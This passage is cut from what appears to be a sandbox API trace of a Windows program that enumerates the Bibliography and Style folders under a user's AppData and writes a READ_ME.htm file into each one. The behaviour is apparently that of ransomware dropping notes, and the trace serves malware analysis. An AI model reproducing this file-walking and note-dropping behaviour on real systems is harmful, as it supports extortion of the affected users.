hTemplateFile=0x0) returned 0x1d0 [0149.197] GetFileType (hFile=0x1d0) returned 0x1 [0149.197] SetErrorMode (uMode=0x0) returned 0x1 [0149.197] GetFileType (hFile=0x1d0) returned 0x1 [0149.197] WriteFile (in: hFile=0x1d0, lpBuffer=0x289a2d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x289a2d0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.199] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography", lpFilePart=0x0) returned 0x39 [0149.199] SetErrorMode (uMode=0x1) returned 0x0 [0149.199] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\bibliography\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.200] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.201] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0149.201] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0149.201] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.201] SetErrorMode (uMode=0x0) returned 0x1 [0149.201] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography", lpFilePart=0x0) returned 0x39 [0149.201] SetErrorMode (uMode=0x1) returned 0x0 [0149.201] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\bibliography\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.202] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x285f4ad0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.202] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 1 [0149.202] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Style", cAlternateFileName="")) returned 0 [0149.202] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.202] SetErrorMode (uMode=0x0) returned 0x1 [0149.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpFilePart=0x0) returned 0x3f [0149.203] SetErrorMode (uMode=0x1) returned 0x0 [0149.203] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\bibliography\\style\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.215] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.216] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6f297690, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x51722, dwReserved0=0x0, dwReserved1=0x0, cFileName="APASixthEditionOfficeOnline.xsl", cAlternateFileName="APASIX~1.XSL")) returned 1 [0149.216] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef779b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x48839, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0149.216] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef779b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x4197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0149.216] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef05590, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3e966, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0149.216] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef05590, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3d639, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="GOSTTI~1.XSL")) returned 1 [0149.216] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef779b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x45882, dwReserved0=0x0, dwReserved1=0x0, cFileName="HarvardAnglia2008OfficeOnline.xsl", cAlternateFileName="HARVAR~1.XSL")) returned 1 [0149.216] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6fac6230, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEEE2006OfficeOnline.xsl", cAlternateFileName="IEEE20~1.XSL")) returned 1 [0149.216] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6fa2dcb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x42132, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0149.216] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6fa2dcb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x351ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="ISO690~1.XSL")) returned 1 [0149.217] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6f629790, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3e4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLASeventhEditionOfficeOnline.xsl", cAlternateFileName="MLASEV~1.XSL")) returned 1 [0149.217] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ff88e30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0149.217] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x70497cf0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0149.217] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x70497cf0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0149.217] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.218] SetErrorMode (uMode=0x0) returned 0x1 [0149.218] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style", lpFilePart=0x0) returned 0x3f [0149.219] SetErrorMode (uMode=0x1) returned 0x0 [0149.219] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\bibliography\\style\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.220] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2861ac30, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.220] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6f297690, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x51722, dwReserved0=0x0, dwReserved1=0x0, cFileName="APASixthEditionOfficeOnline.xsl", cAlternateFileName="APASIX~1.XSL")) returned 1 [0149.220] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef779b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x48839, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHICAGO.XSL", cAlternateFileName="")) returned 1 [0149.220] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef779b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x4197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB.XSL", cAlternateFileName="")) returned 1 [0149.220] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef05590, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3e966, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostName.XSL", cAlternateFileName="")) returned 1 [0149.220] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x285f4ad0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x285f4ad0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef05590, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3d639, dwReserved0=0x0, dwReserved1=0x0, cFileName="GostTitle.XSL", cAlternateFileName="GOSTTI~1.XSL")) returned 1 [0149.220] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ef779b0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x45882, dwReserved0=0x0, dwReserved1=0x0, cFileName="HarvardAnglia2008OfficeOnline.xsl", cAlternateFileName="HARVAR~1.XSL")) returned 1 [0149.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6fac6230, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEEE2006OfficeOnline.xsl", cAlternateFileName="IEEE20~1.XSL")) returned 1 [0149.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6fa2dcb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x42132, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690.XSL", cAlternateFileName="")) returned 1 [0149.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6fa2dcb0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x351ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISO690Nmerical.XSL", cAlternateFileName="ISO690~1.XSL")) returned 1 [0149.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6f629790, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3e4f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MLASeventhEditionOfficeOnline.xsl", cAlternateFileName="MLASEV~1.XSL")) returned 1 [0149.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x6ff88e30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3d5c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIST02.XSL", cAlternateFileName="")) returned 1 [0149.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x70497cf0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 1 [0149.221] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2861ac30, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2861ac30, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x70497cf0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x54256, dwReserved0=0x0, dwReserved1=0x0, cFileName="TURABIAN.XSL", cAlternateFileName="")) returned 0 [0149.221] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.222] SetErrorMode (uMode=0x0) returned 0x1 [0149.223] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\READ_ME.htm", lpFilePart=0x0) returned 0x4b [0149.223] SetErrorMode (uMode=0x1) returned 0x0 [0149.223] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\bibliography\\style\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.225] GetFileType (hFile=0x1d0) returned 0x1 [0149.225] SetErrorMode (uMode=0x0) returned 0x1 [0149.225] GetFileType (hFile=0x1d0) returned 0x1 [0149.225] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a3bf0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28a3bf0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.230] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\READ_ME.htm", lpFilePart=0x0) returned 0x45 [0149.230] SetErrorMode (uMode=0x1) returned 0x0 [0149.230] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Bibliography\\READ_ME.htm" (normalized: 